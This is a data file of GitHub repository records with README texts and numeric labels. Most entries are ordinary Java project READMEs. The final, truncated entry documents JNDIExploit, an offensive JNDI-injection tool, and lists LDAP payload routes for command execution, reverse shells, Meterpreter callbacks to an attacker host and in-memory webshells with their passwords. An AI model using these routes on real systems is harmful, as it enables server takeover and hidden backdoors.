* For general questions about Apache Kafka and Confluent Platform, please head over to the
[Confluent mailing list](https://groups.google.com/forum/?pli=1#!forum/confluent-platform)
or to the [Apache Kafka mailing lists](http://kafka.apache.org/contact).
# License
Usage of this image is subject to the license terms of the software contained within. Please refer to Confluent's Docker images documentation [reference](https://docs.confluent.io/platform/current/installation/docker/image-reference.html) for further information. The software to extend and build the custom Docker images is available under the Apache 2.0 License.
| 1 |
jeecgboot/jeewx-boot | JAVA版免费开源的微信管家平台。支持微信公众号、小程序、第三方平台等。平台已经实现了公众号基础管理、群发、系统权限、抽奖活动、小程序官网等功能,便于二次开发,可以快速搭建微信应用! | 2019-06-22T03:52:24Z | null |
Jeewx-Boot 免费微信管家平台
==========
当前最新版本: 1.3(发布日期:20200916)
[![AUR](https://img.shields.io/badge/license-Apache%20License%202.0-blue.svg)](https://github.com/zhangdaiscott/jeewx-boot/blob/master/LICENSE)
[![](https://img.shields.io/badge/Author-JEECG团队-orange.svg)](http://www.jeewx.com)
[![](https://img.shields.io/badge/version-1.3-brightgreen.svg)](https://gitee.com/jeecg/jeewx-boot)
项目介绍
-----------------------------------
JeewxBoot是一款免费的JAVA微信管家平台,支持微信公众号、小程序、微信第三方平台、抽奖活动等。JeewxBoot已经实现了系统权限管理、公众号管理、抽奖活动等基础功能,便于二次开发,可以快速搭建微信应用!
技术架构:SpringBoot2.1.3 + Mybatis + Velocity;
采用插件开发机制,实现一个抽奖活动一个独立插件(对JAVA来讲就是一个JAR包),可以很方便的做插拔,提供丰富的活动插件下载。。
技术文档
-----------------------------------
* 入门必读:http://doc.jeewx.com/1414959
* QQ交流群 : 97460170
* 技术官网 :[www.jeewx.com](http://www.jeewx.com)
* 演示地址 :[http://demo.jeewx.com](http://demo.jeewx.com) 【测试账号: jeewx/123456】
* 视频教程 :[JeewxBoot入门视频教程](https://www.bilibili.com/video/av62847704)
* 常见问题:[入门常见问题汇总](http://bbs.jeecg.com/forum.php?mod=viewthread&tid=8185&extra=page%3D1)
项目说明
-----------------------------------
#### 基础平台项目
| 项目名 | 中文名 | 备注 |
|----------|:-------------:|------:|
| jeewx-boot-start | 启动项目 | |
| jeewx-boot-base-system | 系统用户管理模块 | |
| jeewx-boot-module-weixin | 微信公众号管理 | |
| jeewx-boot-module-api | 共通业务API接口 | |
| huodong/jeewx-boot-module-goldenegg | 砸金蛋活动 | |
| huodong/jeewx-boot-module-cms | 小程序官网 | [集成文档](http://doc.jeewx.com/1767423) |
#### 插件项目说明
* 免费插件下载: [http://cloud.jeecg.com](http://cloud.jeecg.com/?categoryId=1291328642663645186)
| 项目名 | 中文名 | 备注
|----------|:-------------:|------:|
| jeewx-boot-module-commonluckymoney | 圣诞拆红包抽奖 |
| jeewx-boot-module-scratchcards | 刮刮乐活动 |
| jeewx-module-divination | 摇签祈福活动 |
| P3-Biz-shaketicket | 摇一摇活动 |
| jeewx-boot-module-luckyroulette | 新版大转盘活动 |
#### 小程序源码
* 小程序官网 :http://cloud.jeecg.com/page?id=1409695763776249857
功能清单
-----------------------------------
```
├─系统管理
│ ├─用户管理
│ ├─角色管理
│ ├─菜单管理
│ └─首页设置
│ └─项目管理(插件)
├─公众号运营
│ ├─基础配置
│ │ ├─公众号管理
│ │ ├─关注欢迎语
│ │ ├─未识别回复语
│ │ ├─关键字设置
│ │ ├─自定义菜单
│ │ ├─菜单支持小程序链接
│ │ ├─Oauth2.0链接机制
│ └─微信第三方平台
│ └─支持扫描授权公众号
│ ├─素材管理
│ │ ├─文本素材
│ │ ├─图文素材
│ │ ├─超强图文编辑器
│ │ ├─图文预览功能
│ ├─用户管理
│ │ ├─粉丝管理
│ │ ├─粉丝标签管理
│ │ ├─图文编辑器
│ │ ├─接受消息管理
│ │ ├─粉丝消息回复
│ │ ├─图文预览功能
│ ├─高级功能
│ │ ├─微信群发功能
│ │ ├─群发审核功能
│ │ ├─二维码管理
├─微信抽奖活动
│ ├─砸金蛋
│ ├─小程序官网(CMS模块)
│ ├─摇一摇(尚未开源)
│ ├─微信砍价(尚未开源)
│ ├─更多商业活动
├─高级功能(尚未开源)
│ ├─小程序商城
│ ├─竞选投票
│ ├─分销商城
│ ├─团购商城
│ ├─红包活动
│ ├─更多商业功能
│ ├─。。。
```
系统效果
----
##### 系统截图
![](https://oscimg.oschina.net/oscnet/up-cfcc44a9ad6cc52a5e4dd2a19d1cd775d55.png)
![](https://oscimg.oschina.net/oscnet/up-697c944f14c0d16a9bce405e1369ab27088.png)
![](https://oscimg.oschina.net/oscnet/up-e77abee0fcbc6b1216e987b9721f7c497e8.png)
![](https://oscimg.oschina.net/oscnet/up-83fcf83848071fa7499bdb8792358aec355.png)
![](https://oscimg.oschina.net/oscnet/up-77d779e14210120766c256b5c7af768ec8a.png)
![](https://images.gitee.com/uploads/images/2019/0715/140426_f26f4ebf_57093.jpeg)
![](https://oscimg.oschina.net/oscnet/up-26a8ad222460e46515e572e9f73134df8b1.png)
![](https://oscimg.oschina.net/oscnet/up-b13041a3f8ef35e5cc5d528a1f2dfe1a5bd.png)
![](https://oscimg.oschina.net/oscnet/up-ec65fa68786246deda14a2020fc81d54e5d.png)
##### 体验二维码
![github](https://static.oschina.net/uploads/img/201907/13100959_naiO.jpg "jeewx521")
| 0 |
FuZhucheng/SSM | J2EE项目系列(四)–SSM框架构建积分系统和基本商品检索系统(Spring+SpringMVC+MyBatis+Lucene+Redis+MAVEN) | 2017-04-01T13:09:08Z | null | ### J2EE项目系列(四)–SSM框架构建积分系统和基本商品检索系统(Spring+SpringMVC+MyBatis+Lucene+Redis+MAVEN)
### 喜欢就给个star吧!!!谢谢!
#### 并附带一系列的博客文章:
#### (一)[项目框架整合构建](http://blog.csdn.net/Jack__Frost/article/details/68932117)
#### (二)[建立商品数据库和Lucene的搭建](http://blog.csdn.net/jack__frost/article/details/68947868)
#### (三)[ Redis系列(一)--安装、helloworld以及读懂配置文件](http://blog.csdn.net/jack__frost/article/details/67633975)
#### (四)[Redis系列(二)--缓存设计(整表缓存以及排行榜缓存方案实现)](http://blog.csdn.net/jack__frost/article/details/69568610)
#### (五)[ Lucene总结系列(一)--认识、helloworld以及基本的api操作。](http://blog.csdn.net/Jack__Frost/article/details/70156391)
#### (六)[Lucene总结系列(二)--商品检索系统的文字检索业务(lucene项目使用)](http://blog.csdn.net/Jack__Frost/article/details/70176553)
#### (七)[Lucene总结系列(三)--总述优化方案和呈现实时内存索引实现(结合RAMDirectory源码解析)](http://blog.csdn.net/jack__frost/article/details/70215598)
#### (八)[JavaWeb--Servlet过滤器Filter和SpringMVC的HandlerInterceptor(Session和Cookie登录认证)](http://blog.csdn.net/jack__frost/article/details/71158139)
#### (九)[Redis系列(三)--过期策略](http://blog.csdn.net/jack__frost/article/details/71216098)
#### (十)[Redis系列(四)--内存淘汰机制(含单机版内存优化建议)](http://blog.csdn.net/jack__frost/article/details/72478400)
#### (十一)[Ajax使用详解(级联列表)以及企业级报表Excel导入导出实现](http://blog.csdn.net/jack__frost/article/details/72743057)
#### (十二)[ WEB后台--邮件和短信业务实现(包括Java一键实现、封装和异步)以及原理详解](http://blog.csdn.net/jack__frost/article/details/73780106)
***
### 使用姿势:请阅读使用demo必读文件《使用前必读!》
#### 另外,本项目提供了很多方便的工具类,大家喜欢的话,可以直接拿来用。
***
### 联系方式:
#### 邮箱:jackfrost@fuzhufuzhu.com
| 0 |
thombergs/code-examples | A collection of code examples from blog posts etc. | 2017-07-30T14:12:24Z | null | # Example Code Repository
[![CI](https://github.com/thombergs/code-examples/workflows/CI/badge.svg)](https://github.com/thombergs/code-examples/actions?query=workflow%3ACI)
This repo contains example projects which show how to use different (not only) Java technologies.
The examples are usually accompanied by a blog post on [https://reflectoring.io](https://reflectoring.io).
See the READMEs in each subdirectory of this repo for more information on each module. | 1 |
JakeWharton/ProcessPhoenix | Process Phoenix facilitates restarting your application process. | 2015-07-08T05:39:28Z | null | Process Phoenix
===============
Process Phoenix facilitates restarting your application process.
This should only be used for things like fundamental state changes in your debug builds (e.g.,
changing from staging to production).
Usage
-----
Start the default activity in a new process:
```java
ProcessPhoenix.triggerRebirth(context);
```
Or, if you want to launch with a specific `Intent`:
```java
Intent nextIntent = //...
ProcessPhoenix.triggerRebirth(context, nextIntent);
```
To check if your application is inside the Phoenix process to skip initialization in `onCreate`:
```java
if (ProcessPhoenix.isPhoenixProcess(this)) {
return;
}
```
Download
--------
```groovy
implementation 'com.jakewharton:process-phoenix:3.0.0'
```
Snapshots of the development version are available in [Sonatype's `snapshots` repository][snap].
License
-------
Copyright (C) 2015 Jake Wharton
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
[snap]: https://oss.sonatype.org/content/repositories/snapshots/
| 0 |
Cleveroad/FanLayoutManager | Using Fan Layout Manager you can implement the horizontal list, the items of which move like fan blades | 2016-09-29T13:31:59Z | null | #FanLayoutManager [![Awesome](https://cdn.rawgit.com/sindresorhus/awesome/d7305f38d29fed78fa85652e3a63e154dd8e8829/media/badge.svg)](https://github.com/sindresorhus/awesome) <img src="https://www.cleveroad.com/public/comercial/label-android.svg" height="20"> <a href="https://www.cleveroad.com/?utm_source=github&utm_medium=label&utm_campaign=contacts"><img src="https://www.cleveroad.com/public/comercial/label-cleveroad.svg" height="20"></a>
![Header image](/images/header.jpg)
## Welcome to Fan Layout Manager for Android by Cleveroad
Fan Layout Manager is a new library created at Cleveroad. Our ideas don’t come from nowhere, everything we invent results from the difficulties we overcome. This exactly what happened — we were fighting uniformity! Since traditional view of the simple horizontal list isn’t impressive anymore, we decided to suggest our vision adding some colours and a completely new motion path.
![Demo image](/images/demo_.gif)
#####Check out the animation <strong><a target="_blank" href="https://www.youtube.com/watch?v=P0r37_tXeMc">Fan Layout Manager for Android on YouTube</a></strong> in HD quality.
Cleveroad gladly shares its creation with everyone who wants to add some visual spice to their Android apps. Take Fan Layout Manager and create!
Using Fan Layout Manager you can implement the horizontal list, the items of which move like fan blades (in a circular way of a radius to your choice). To give a slightly chaotical effect to the motion, it’s possible to set an angle for the list items. So, every implementation of the library can be unique.
[![Awesome](/images/logo-footer.png)](https://www.cleveroad.com/?utm_source=github&utm_medium=label&utm_campaign=contacts)
### Installation ###
by Gradle:
```groovy
compile 'com.cleveroad:fan-layout-manager:1.0.5'
```
### Setup and usage ###
Use default FanLayoutManager in code:
```JAVA
fanLayoutManager = new FanLayoutManager(getContext());
recyclerView.setLayoutManager(fanLayoutManager);
```
You can **select/deselect** item using:
```JAVA
fanLayoutManager.switchItem(recyclerView, itemPosition); // select/deselect
fanLayoutManager.deselectItem(); // just deselect
```
**Get selected item position**:
```JAVA
fanLayoutManager.getSelectedItemPosition(); // return selected item position
fanLayoutManager.isItemSelected(); // true if item was selected
```
To customize ***FanLayoutManager*** we provide settings:
```JAVA
FanLayoutManagerSettings fanLayoutManagerSettings = FanLayoutManagerSettings
.newBuilder(getContext())
.withFanRadius(true)
.withAngleItemBounce(5)
.withViewWidthDp(120)
.withViewHeightDp(160)
.build();
fanLayoutManager = new FanLayoutManager(getContext(), fanLayoutManagerSettings);
recyclerView.setLayoutManager(fanLayoutManager);
```
`.withFanRadius(boolean isFanRadiusEnable)` - you can enable displaying items in fan style.</p>
`.withAngleItemBounce(float angleItemBounce)` - added rendom bounce angle to items from [0.. angleItemBounce).</p>
`.withViewWidthDp(float viewWidthDp)` - custom item width. default 120dp.</p>
`.withViewHeightDp(float viewHeightDp)` - custom item height. default 160dp.</p>
You can *remove bounce angle* effect for selected item:
```JAVA
public void straightenSelectedItem(Animator.AnimatorListener listener);
```
and you can *restore bounce angle* effect for selected item:
```JAVA
public void restoreBaseRotationSelectedItem(Animator.AnimatorListener listener)
```
You can collapse views using:
```JAVA
public void collapseViews();
```
## Changelog
See [changelog history].
## Support
If you have any questions regarding the use of this tutorial, please contact us for support
at info@cleveroad.com (email subject: «FanLayoutManager for Android. Support request.»)
<br>or
<br>Use our contacts:
<br><a href="https://www.cleveroad.com/?utm_source=github&utm_medium=link&utm_campaign=contacts">Cleveroad.com</a>
<br><a href="https://www.facebook.com/cleveroadinc">Facebook account</a>
<br><a href="https://twitter.com/CleveroadInc">Twitter account</a>
<br><a href="https://plus.google.com/+CleveroadInc/">Google+ account</a>
## License
The MIT License (MIT)
Copyright (c) 2015-2016 Cleveroad
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
[changelog history]: /CHANGELOG.md
| 0 |
redhat-scholars/istio-tutorial | Istio Tutorial for https://dn.dev/master | 2017-11-17T01:26:56Z | null | null | 1 |
fabric8io/docker-maven-plugin | Maven plugin for running and creating Docker images | 2014-03-26T06:10:05Z | null | # docker-maven-plugin
[![Maven Central](https://maven-badges.herokuapp.com/maven-central/io.fabric8/docker-maven-plugin/badge.svg?style=flat)](https://maven-badges.herokuapp.com/maven-central/io.fabric8/docker-maven-plugin/)
[![Circle CI](https://circleci.com/gh/fabric8io/docker-maven-plugin/tree/master.svg?style=shield)](https://circleci.com/gh/fabric8io/docker-maven-plugin/tree/master)
[![Coverage](https://sonarcloud.io/api/project_badges/measure?project=fabric8io_docker-maven-plugin&metric=coverage)](https://sonarcloud.io/summary/new_code?id=fabric8io_docker-maven-plugin)
[![Technical Debt](https://sonarcloud.io/api/project_badges/measure?project=fabric8io_docker-maven-plugin&metric=sqale_index)](https://sonarcloud.io/summary/new_code?id=fabric8io_docker-maven-plugin)
This is a Maven plugin for building Docker images and managing containers for integration tests.
It works with Maven 3.0.5 and Docker 1.6.0 or later.
#### Goals
| Goal | Description | Default Lifecycle Phase |
| ----------------------------------------------------------------------------------------------- | ------------------------------------------------ | ----------------------- |
| [`docker:start`](https://fabric8io.github.io/docker-maven-plugin/#docker:start) | Create and start containers | pre-integration-test |
| [`docker:stop`](https://fabric8io.github.io/docker-maven-plugin/#docker:stop) | Stop and destroy containers | post-integration-test |
| [`docker:build`](https://fabric8io.github.io/docker-maven-plugin/#docker:build) | Build images | install |
| [`docker:watch`](https://fabric8io.github.io/docker-maven-plugin/#docker:watch) | Watch for doing rebuilds and restarts | |
| [`docker:push`](https://fabric8io.github.io/docker-maven-plugin/#docker:push) | Push images to a registry | deploy |
| [`docker:remove`](https://fabric8io.github.io/docker-maven-plugin/#docker:remove) | Remove images from local docker host | post-integration-test |
| [`docker:logs`](https://fabric8io.github.io/docker-maven-plugin/#docker:logs) | Show container logs | |
| [`docker:source`](https://fabric8io.github.io/docker-maven-plugin/#docker:source) | Attach docker build archive to Maven project | package |
| [`docker:save`](https://fabric8io.github.io/docker-maven-plugin/#docker:save) | Save image to a file | |
| [`docker:volume-create`](https://fabric8io.github.io/docker-maven-plugin/#docker:volume-create) | Create a volume to share data between containers | pre-integration-test |
| [`docker:volume-remove`](https://fabric8io.github.io/docker-maven-plugin/#docker:volume-remove) | Remove a created volume | post-integration-test |
| [`docker:copy`](https://fabric8io.github.io/docker-maven-plugin/#docker:copy) | Copy files and directories from a container | post-integration-test |
#### Documentation
* The **[User Manual](https://fabric8io.github.io/docker-maven-plugin)** [[PDF](https://fabric8io.github.io/docker-maven-plugin/docker-maven-plugin.pdf)] has a detailed reference for all and everything.
* The [Introduction](doc/intro.md) is a high-level
overview of this plugin's features and provides a usage example.
provided goals and possible configuration parameters.
* [Examples](doc/examples.md) are below `samples/` and contain example
setups that you can use as blueprints for your projects.
* [ChangeLog](doc/changelog.md) has the release history of this plugin.
* [Contributing](CONTRIBUTING.md) explains how you can contribute to this project. Pull requests are highly appreciated!
* We publish nightly builds on maven central. Read How to use [Docker Maven Plugin Snapshot artifacts](./doc/HowToUseDockerMavenPluginSnapshotArtifacts.md).
#### Docker API Support
* Docker 1.6 (**v1.18**) is the minimal required version
* Docker 1.8.1 (**v1.20**) is required for `docker:watch`
* Docker 1.9 (**v1.21**) is required for using custom networks and build args.
| 0 |
careercup/CtCI-6th-Edition | Cracking the Coding Interview 6th Ed. Solutions | 2015-07-02T06:28:46Z | null | # CtCI-6th-Edition
Solutions for [Cracking the Coding Interview 6th Edition](http://www.amazon.com/Cracking-Coding-Interview-6th-Edition/dp/0984782850) by [Gayle Laakmann McDowell](http://www.gayle.com/).
Crowdsourcing solutions for every widely used programming language. **Contributions welcome**.
## Cloning
Solutions in Java are contained directly in this repo and are the same solutions found
in [the book](http://www.amazon.com/Cracking-Coding-Interview-6th-Edition/dp/0984782850). Solutions in other programming languages are contributed by the community and each have
their own dedicated repos which are referenced from this repo as git submodules. What this means for cloning:
- If you want to make a local clone of solutions in all languages, you should use the `--recursive` option:
git clone --recursive https://github.com/careercup/CtCI-6th-Edition.git
- If you're only interested in the Java solutions:
git clone https://github.com/careercup/CtCI-6th-Edition.git
- If you originally cloned without `--recursive`, and then later decide you want the git submodules too, run:
git submodule update --init --recursive
## Contributing
### Work Flow
1. Fork the appropriate repo for your language to your GitHub user. (see [Where to submit pull requests](#where-to-submit-pull-requests))
2. Write quality code and lint if applicable.
3. Add tests if applicable.
4. Open a pull request and provide a descriptive comment for what you did.
### Where to submit pull requests
Pull requests pertaining to Java solutions should be submitted to the main [CtCI-6th-Edition repo](https://github.com/careercup/CtCI-6th-Edition). Please submit pull requests for all other languages to the appropriate language-specific repo.
- [CtCI-6th-Edition-Clojure](https://github.com/careercup/CtCI-6th-Edition-Clojure)
- [CtCI-6th-Edition-C](https://github.com/careercup/CtCI-6th-Edition-C)
- [CtCI-6th-Edition-cpp](https://github.com/careercup/CtCI-6th-Edition-cpp)
- [CtCI-6th-Edition-CSharp](https://github.com/careercup/CtCI-6th-Edition-CSharp)
- [CtCI-6th-Edition-Go](https://github.com/careercup/CtCI-6th-Edition-Go)
- [CtCI-6th-Edition-Groovy](https://github.com/careercup/CtCI-6th-Edition-Groovy)
- [CtCI-6th-Edition-Haskell](https://github.com/careercup/CtCI-6th-Edition-Haskell)
- [CtCI-6th-Edition-JavaScript](https://github.com/careercup/CtCI-6th-Edition-JavaScript)
- [CtCI-6th-Edition-JavaScript-ES2015](https://github.com/careercup/CtCI-6th-Edition-JavaScript-ES2015)
- [CtCI-6th-Edition-Julia](https://github.com/careercup/CtCI-6th-Edition-Julia)
- [CtCI-6th-Edition-Kotlin](https://github.com/careercup/CtCI-6th-Edition-Kotlin)
- [CtCI-6th-Edition-Objective-C](https://github.com/careercup/CtCI-6th-Edition-Objective-C)
- [CtCI-6th-Edition-php](https://github.com/careercup/CtCI-6th-Edition-php)
- [CtCI-6th-Edition-Python](https://github.com/careercup/CtCI-6th-Edition-Python)
- [CtCI-6th-Edition-Ruby](https://github.com/careercup/CtCI-6th-Edition-Ruby)
- [CtCI-6th-Edition-Swift](https://github.com/careercup/CtCI-6th-Edition-Swift)
### Adding a new Language
Solutions in other languages are welcome too and should follow this workflow:
1. Create the new repo under your own GitHub user account and start contributing solutions. The repo name should follow this naming convention: `CtCI-6th-Edition-<language>`.
2. Open an [issue on the CtCI-6th-Edition repo](https://github.com/careercup/CtCI-6th-Edition/issues) to request that your solution repo be promoted to join the careercup GitHub organization and referenced from the main repo as a git submodule.
3. If your request is approved, navigate to your repo's settings page and select the "Transfer Ownership" option, and specify "careercup" as the new owner.
| 0 |
Netflix/mantis | A platform that makes it easy for developers to build realtime, cost-effective, operations-focused applications | 2019-06-06T23:44:48Z | null | <img alt="Mantis logo" src="./.assets/mantis.png" width="200" align="right">
# Mantis Documentation
[![Build Status](https://img.shields.io/travis/com/Netflix/mantis.svg)](https://travis-ci.com/Netflix/mantis)
[![OSS Lifecycle](https://img.shields.io/osslifecycle/Netflix/mantis.svg)](https://github.com/Netflix/mantis)
[![License](https://img.shields.io/github/license/Netflix/mantis.svg)](https://www.apache.org/licenses/LICENSE-2.0)
[Official Website](https://netflix.github.io/mantis/)
---
## Development
### Setting up Intellij
Run `./gradlew idea` to (re-) generate IntelliJ project and module files from the templates in `.baseline`. The generated project is pre-configured with Baseline code style settings and support for the CheckStyle-IDEA plugin.
### Install Docker
Install and run Docker to support local containers.
### Building
```sh
$ ./gradlew clean build
```
### Testing
```sh
$ ./gradlew clean test
```
### Formatting the code
Run `./gradlew format` task which autoformats all Java files using [Spotless](https://github.com/diffplug/spotless).
### Building deployment into local Maven cache
```sh
$ ./gradlew clean publishNebulaPublicationToMavenLocal
```
### Releasing
We release by tagging which kicks off a CI build. The CI build will run tests, integration tests,
static analysis, checkstyle, build, and then publish to the public Bintray repo to be synced into Maven Central.
Tag format:
```
vMajor.Minor.Patch
```
You can tag via git or through Github's Release UI.
## Contributing
Mantis is interested in building the community. We welcome any forms of contributions through discussions on any
of our [mailing lists](https://netflix.github.io/mantis/community/#mailing-lists) or through patches.
For more information on contribution, check out the contributions file [here](https://github.com/Netflix/mantis/blob/master/CONTRIBUTING.md).
### Module Structure
This excludes all connectors and examples as they are mostly leaf nodes in the dependency graph.
Module | Purpose | Example Classes | Package Prefixes
----------------------------|-------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------
mantis-common-serde | Support for serializing and deserializing POJOs using Json | <li>JsonSerializer</li> | <li>io.mantisrx.common.*</li>
mantis-discovery-proto | todo: need to fill this in | <li>JobDiscoveryProto</li><li>AppJobClustersMap</li><li>StageWorkers</li> | <li>com.netflix.mantis.discovery.proto.*</li>
mantis-common | Mantis common code shared across modules | <li>MantisJobDefinition</li><li>MachineDefinition</li><li>MantisJobState | <li>io.mantisrx.common.\*</li><li> io.mantisrx.runtime.\*<li>io.mantisrx.server.code.\*</li><li>io.reactivx.mantis.operators.\*</li><li>com.mantisrx.common.utils.\*
mantis-remote-observable | connection to other job,stage related code | <li>ConnectToObservable</li><li>ConnectToGroupedObservable</li><li>RemoteObservable | <li>io.reactivex.mantis.remote.observable.\*</li><li>io.reactivex.netty.codec.\*<li>
mantis-control-plane-core | common code between mantis-control-plane-server, mantis-control-plane-client, mantis-server-worker, mantis-server-agent | <li>TaskExecutorID</li><li>ClusterID</li><li>ExecuteStageRequest</li><li>JobAssignmentResult</li><li>Status | <li>io.mantisrx.server.core.\*</li><li>io.mantisrx.server.master.resourcecluster.\*</li><li>io.mantisrx.server.worker.\*
mantis-control-plane-client | API to talk to the mantis control plane server | <li>MasterClientWrapper</li><li>MantisMasterGateway</li><li>MantisMasterClientApi | <li>io.mantisrx.server.master.client.\*<li> io.mantisrx.server.master.resourcecluster.\*
mantis-network | todo: need to fill this in | |
mantis-publish-core | todo: need to fill this in | |
mantis-server-worker-client | API to interact with workers | <li>MetricsClient</li><li> MetricsClientImpl</li><li>WorkerConnection</li><li>WorkerMetricsClient | <li>io.mantisrx.server.worker.client.\*
mantis-runtime | Runtime that the jobs need to depend upon. Job DSL should go in here along with how to talk to other jobs | <li>KeyToKey</li><li>GroupToGroup</li><li>Source</li><li>Sink | <li>io.mantisrx.runtime.\*
mantis-publish-netty | todo: need to fill this in | |
mantis-client | client to interact with mantis control plane | <li>MantisClient::submitJob</li><li> MantisClient::killJob | <li>io.mantisrx.client.*</li>
mantis-publish-netty-guice | todo: need to fill this in | |
mantis-control-plane-server | Actual server that runs the mantis master code | <li>MasterMain</li><li>SchedulingService</li><li>ServiceLifecycle | <li>io.mantisrx.master.\*<li>io.mantisrx.server.master.\*
mantis-server-agent | Contains mantis-runtime agnostic code to start the task executor that runs on the agent | <li>TaskExecutor</li><li>TaskExecutorStarter</li><li>BlobStore</li><li>BlobStoreAwareClassLoaderHandle | <li>io.mantisrx.server.agent.\*
mantis-server-worker | One implementation of Mantis Worker that depends on the master runtime | <li>MantisWorker</li><li>Task</li><li>ExecuteStageRequestService<li>JobAutoScaler | <li>io.mantisrx.server.worker.config.\*<li>io.mantisrx.server.worker.jobmaster.\*
### Dependency Graph
```mermaid
graph TD;
A[mantis-common-serde]-->B[mantis-common];
B-->C[mantis-control-plane-core];
B-->D[mantis-runtime];
C-->E[mantis-control-plane-client];
E-->F[mantis-server-worker-client];
F-->G[mantis-client];
E-->G;
C-->H[mantis-control-plane-server];
C-->I[mantis-server-worker];
F-->I;
D-->I;
F-->J[mantis-server-agent];
E-->J;
```
| 0 |
WhiteHSBG/JNDIExploit | 对原版https://github.com/feihong-cs/JNDIExploit 进行了实用化修改 | 2021-12-30T09:00:16Z | null | # JNDIExploit
一款用于 ```JNDI注入``` 利用的工具,大量参考/引用了 ```Rogue JNDI``` 项目的代码,支持直接```植入内存shell```,并集成了常见的```bypass 高版本JDK```的方式,适用于与自动化工具配合使用。
对 [@feihong-cs](https://github.com/feihong-cs) 大佬的项目https://github.com/feihong-cs/JNDIExploit 进行了一些改进,tomcatBypass现可直接上线msf。见添加内容2
---
## 免责声明
该工具仅用于安全自查检测
由于传播、利用此工具所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,作者不为此承担任何责任。
本人拥有对此工具的修改和解释权。未经网络安全部门及相关部门允许,不得善自使用本工具进行任何攻击活动,不得以任何方式将其用于商业目的。
---
## 添加内容
添加内容是为了支持SpringBootExploit工具,是定制版的服务端。
1. 启动方式:java -jar JNDIExploit-1.3-SNAPSHOT.jar 默认绑定127.0.0.1 LDAP 绑定 1389 HTTP Server 绑定3456
2. 根目录下BehinderFilter.class是内存马 /ateam 密码是ateamnb
3. data/behinder3.jar 是为了支持SnakYaml RCE
4. 添加HTTPServer处理更多的请求,为了更好支持SpringBootExploit工具
5. 将文件放在data目录下,通过HTTPServer可以访问文件内容如同python的HTTPServer
## 添加内容2
新增哥斯拉内存马
- 支持引用类远程加载方式打入(Basic路由)
- 支持本地工厂类方式打入 (TomcatBypass路由)
哥斯拉客户端配置:
```
密码:pass1024
密钥:key
有效载荷:JavaDynamicPayload
加密器:JAVA_AES_BASE64
```
修复之前版本中的一些问题,冰蝎内存马现已直接可用冰蝎客户端直连
**新增msf上线支持**
- 支持tomcatBypass路由直接上线msf:
```
使用msf的java/meterpreter/reverse_tcp开启监听
ldap://127.0.0.1:1389/TomcatBypass/Meterpreter/[msfip]/[msfport]
```
---
## TODO
1. 本地ClassPath反序列化漏洞利用方式
2. 支持自定义内存马密码
3. 内存马模块改一下
---
## 使用说明
使用 ```java -jar JNDIExploit.jar -h``` 查看参数说明,其中 ```--ip``` 参数为必选参数
```
Usage: java -jar JNDIExploit.jar [options]
Options:
* -i, --ip Local ip address
-l, --ldapPort Ldap bind port (default: 1389)
-p, --httpPort Http bind port (default: 8080)
-u, --usage Show usage (default: false)
-h, --help Show this help
```
使用 ```java -jar JNDIExploit.jar -u``` 查看支持的 LDAP 格式
```
Supported LADP Queries:
* all words are case INSENSITIVE when send to ldap server
[+] Basic Queries: ldap://0.0.0.0:1389/Basic/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Basic/Dnslog/[domain]
ldap://0.0.0.0:1389/Basic/Command/[cmd]
ldap://0.0.0.0:1389/Basic/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Basic/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Basic/TomcatEcho
ldap://0.0.0.0:1389/Basic/SpringEcho
ldap://0.0.0.0:1389/Basic/WeblogicEcho
ldap://0.0.0.0:1389/Basic/TomcatMemshell1
ldap://0.0.0.0:1389/Basic/TomcatMemshell2 ---need extra header [shell: true]
ldap://0.0.0.0:1389/Basic/TomcatMemshell3 /ateam pass1024
ldap://0.0.0.0:1389/Basic/GodzillaMemshell /bteam.ico pass1024
ldap://0.0.0.0:1389/Basic/JettyMemshell
ldap://0.0.0.0:1389/Basic/WeblogicMemshell1
ldap://0.0.0.0:1389/Basic/WeblogicMemshell2
ldap://0.0.0.0:1389/Basic/JBossMemshell
ldap://0.0.0.0:1389/Basic/WebsphereMemshell
ldap://0.0.0.0:1389/Basic/SpringMemshell
[+] Deserialize Queries: ldap://0.0.0.0:1389/Deserialization/[GadgetType]/[PayloadType]/[Params], e.g.
ldap://0.0.0.0:1389/Deserialization/URLDNS/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK1/Dnslog/[domain]
ldap://0.0.0.0:1389/Deserialization/CommonsCollectionsK2/Command/Base64/[base64_encoded_cmd]
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils1/ReverseShell/[ip]/[port] ---windows NOT supported
ldap://0.0.0.0:1389/Deserialization/CommonsBeanutils2/TomcatEcho
ldap://0.0.0.0:1389/Deserialization/C3P0/SpringEcho
ldap://0.0.0.0:1389/Deserialization/Jdk7u21/WeblogicEcho
ldap://0.0.0.0:1389/Deserialization/Jre8u20/TomcatMemshell
ldap://0.0.0.0:1389/Deserialization/CVE_2020_2555/WeblogicMemshell1
